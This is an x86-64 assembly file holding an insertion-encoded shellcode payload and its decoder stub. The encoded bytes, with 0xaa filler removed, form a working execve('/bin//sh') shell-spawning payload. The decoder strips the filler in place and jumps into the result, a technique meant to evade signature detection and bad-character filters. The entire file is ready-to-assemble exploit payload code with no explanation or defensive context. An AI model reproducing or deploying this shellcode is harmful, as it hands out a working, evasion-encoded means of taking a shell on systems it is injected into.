section .text
	global _start
_start:
	jmp decoder
	encoded db 0x48,0xaa,0x31,0xaa,0xc0,0xaa,0x50,0xaa,0x48,0xaa,0xbb,0xaa,0x2f,0xaa,0x62,0xaa,0x69,0xaa,0x6e,0xaa,0x2f,0xaa,0x2f,0xaa,0x73,0xaa,0x68,0xaa,0x53,0xaa,0x48,0xaa,0x89,0xaa,0xe7,0xaa,0x50,0xaa,0x48,0xaa,0x89,0xaa,0xe2,0xaa,0x57,0xaa,0x48,0xaa,0x89,0xaa,0xe6,0xaa,0x48,0xaa,0x83,0xaa,0xc0,0xaa,0x3b,0xaa,0x0f,0xaa,0x05,0xbb,0xbb,0xbb,0xbb

decoder:
	lea rsi, [rel encoded]
	lea rdi, [rsi + 1]
	xor rax, rax
	mov al, 1
	xor rbx, rbx

decode:
	mov bl, byte[rsi + rax]
	xor bl, 0xaa
	jnz short encoded
	mov bl, byte[rsi + rax + 1]
	mov byte [rdi], bl
	inc rdi
	add al, 2
	jmp short decode
